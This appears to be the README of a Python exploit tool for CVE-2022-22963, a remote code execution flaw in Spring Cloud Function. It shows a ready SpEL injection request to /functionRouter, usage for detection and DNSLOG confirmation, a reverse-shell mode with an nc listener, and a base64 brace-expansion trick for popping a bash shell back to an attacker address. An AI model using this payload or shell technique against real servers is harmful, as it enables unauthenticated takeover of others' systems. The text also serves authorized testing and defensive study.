CVE-2022-22963

Spring Cloud Function SpEL Expression Injection Remote Code Execution Vulnerability Detection and Exploitation Tool.

Vulnerability Overview

CVE-2022-22963 is a high-severity RCE vulnerability (CVSS 9.8) in the routing functionality of Spring Cloud Function. When the application enables the /functionRouter endpoint, the value of the spring.cloud.function.routing-expression request header is directly executed as a SpEL (Spring Expression Language) expression, allowing an attacker to execute arbitrary system commands on the target server without authentication.

Affected Versions:

Vulnerability Principle:

POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

After the server executes the SpEL, exec() returns a Process object. When Spring attempts to serialize it, an exception is thrown and the response is HTTP 500. The command runs asynchronously in the background, and the result is not reflected in the HTTP response. It must be confirmed through side channels such as DNSLOG or reverse shell.

Features

• Vulnerability Detection: Trigger a characteristic response via SpEL to determine if the target is vulnerable
• DNSLOG Verification: Send a ping request to a DNSLOG domain and confirm command execution via DNS records
• Reverse Shell: Use base64 encoding to bypass space restrictions and pop an interactive shell back to a specified address

Installation

pip install requests

Python 3.6+ with no other dependencies.

Usage

python3 CVE-2022-22963.py -u <target URL> [options]

Argument Description

Vulnerability Detection

python3 CVE-2022-22963.py -u http://target.example.com -c

2024-01-01 12:00:00 - INFO - [+] http://target.example.com is vulnerable!

DNSLOG Verification

Used to confirm actual command execution when there is no echo:

python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn

2024-01-01 12:00:01 - INFO - [+] payload sent. Please check if abc123.dnslog.cn receives a DNS request (confirm actual execution)

Then check the DNSLOG platform for DNS query records originating from the target IP.

Reverse Shell

Start a listener on the attacker machine:

nc -lvnp 9999

Send the payload:

python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999

2024-01-01 12:00:02 - INFO - [+] payload sent. Please wait for connection on 192.168.1.100:9999 (only supports Linux/bash targets)

Note: The reverse shell relies on /dev/tcp support on the target system and is only applicable to Linux + bash environments. It does not support Windows targets or shells such as sh/ash/dash.

Technical Details

Detection Principle

The detection request sends a real SpEL expression to /functionRouter:

T(java.lang.Runtime).getRuntime().exec('id')

• Vulnerable: SpEL is executed, the Process object cannot be serialized → HTTP 500 + "path":"/functionRouter"
• Not vulnerable: The header is ignored, function routing fails → response code or body does not match the above characteristics

Reverse Shell Encoding Process

Runtime.exec(String) does not go through a shell interpreter; it tokenizes the command string by spaces and cannot handle pipes and redirections. The tool bypasses this as follows:

1. Base64-encode the reverse shell command to eliminate special characters
2. Use bash brace expansion {cmd,arg} instead of spaces
3. The target bash's -c argument ultimately handles pipes and redirections

bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec tokenizes by spaces
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c performs brace expansion on the argument
echo BASE64 | base64 -d | bash -i

Changelog

Disclaimer

This tool is intended solely for security research, authorized penetration testing, and educational purposes.

By using this tool, you agree to:

1. Use it only on systems for which you have explicit written authorization
2. Comply with all applicable laws and regulations in your jurisdiction
3. Assume full responsibility for all consequences arising from the use of this tool

The author assumes no responsibility for any unauthorized use or its consequences.